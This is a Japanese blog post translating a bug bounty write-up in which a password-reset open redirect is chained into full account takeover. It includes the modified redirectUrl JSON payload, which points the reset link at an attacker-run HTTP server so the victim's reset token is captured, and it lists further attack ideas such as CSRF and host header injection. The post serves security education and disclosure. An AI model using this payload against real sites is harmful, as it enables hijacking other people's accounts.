shikata ga nai

Private? There is no such things.

How I chained P4 To P2 [Open Redirection To Full Account Takeover]を訳してみた

Hello there, ('ω')ノ

 

完全なアカウント乗っ取りへのオープンリダイレクトを。

 

脆弱性:

 オープンリダイレクト

 アカウント乗っ取り

 

記事:

 https://infosecwriteups.com/how-i-chained-p4-to-p2-open-redirection-to-full-account-takeover-a28b09a94bf7

 

オープンリダイレクトについて:

無効化されたリダイレクトの脆弱性は。

ユーザが信頼できるWebサイトにあるリンクにアクセスしたときに。

攻撃者がユーザを信頼できないサイトにリダイレクトできる場合に発生して。

 

Portswigger Lab: https://portswigger.net/academy/labs/launch/67ab900d88bcd094478d14d157338de5bf87302c124c802219a8ef29a4a65e0f?referrer =%2fweb-security%2fdom-based%2fopen-redirection%2flab-dom-open-redirection

 

f:id:ThisIsOne:20210909173521p:plain

 

問題を再現する手順:

1.https://redacted.vulnsite.com/loginでログインして。

 次に[パスワードを忘れる]をクリックして。

 下記が、脆弱なWebサイトのUIで。

 

f:id:ThisIsOne:20210909172733p:plain

 

2.次に、Burp Suiteを開いてリクエストを傍受して。

 「パスワードを忘れた」をクリックすると。

 下記が、変更する前のHTTPリクエストで。

 

f:id:ThisIsOne:20210909172829p:plain

 

そして、被害者の電子メールを入力して。

そのリクエストをリピーターに送信して。

次に、リクエストを下記に変更して。

 {“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}

 

ターミナルを開いて、下記のコマンドを実行してリクエストを受信すると。

 python3 -m HTTP. server 80

 

f:id:ThisIsOne:20210909172804p:plain

 

3.被害者としてリセットリンクを開いたときに下記へリダイレクトされて。

  http://127.0.01/Secret_reset_token

 

4.リセットリンクで得た応答を確認できて。

 下記をそのリセットリンクに置き換えるだけでパスワードをリセットできるので。

  {“redirectUrl”:”https://redacted.vulnsite.com/Secret_reset_token"}

 

 これで、完全なアカウントの乗っ取りにつながる新しいパスワードを設定できて。

 

いくつかのポイント:

    Vulnerability Disclosure Programでいくつかの方法論を学んで。

 それを有料ベースのプログラムに適用することをお勧めして。

 

 https://www.bugcrowd.com/glossary/vulnerability-disclosure-program-vdp/

 

f:id:ThisIsOne:20210909173226p:plain

 

 有料プログラムに移行すると。

 バグや重複が発生する可能性が低くなって、フラストレーションにつながるので。

 プラットフォームの理解に時間をかけるように。

 たとえば、チェックリストを作成して適用して。

 つまり、POSTをGETに変更することによるCSRFや。

 パスワードリセットページのSQLや。

 ヘッダを変更することによるホストヘッダインジェクションなど。

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain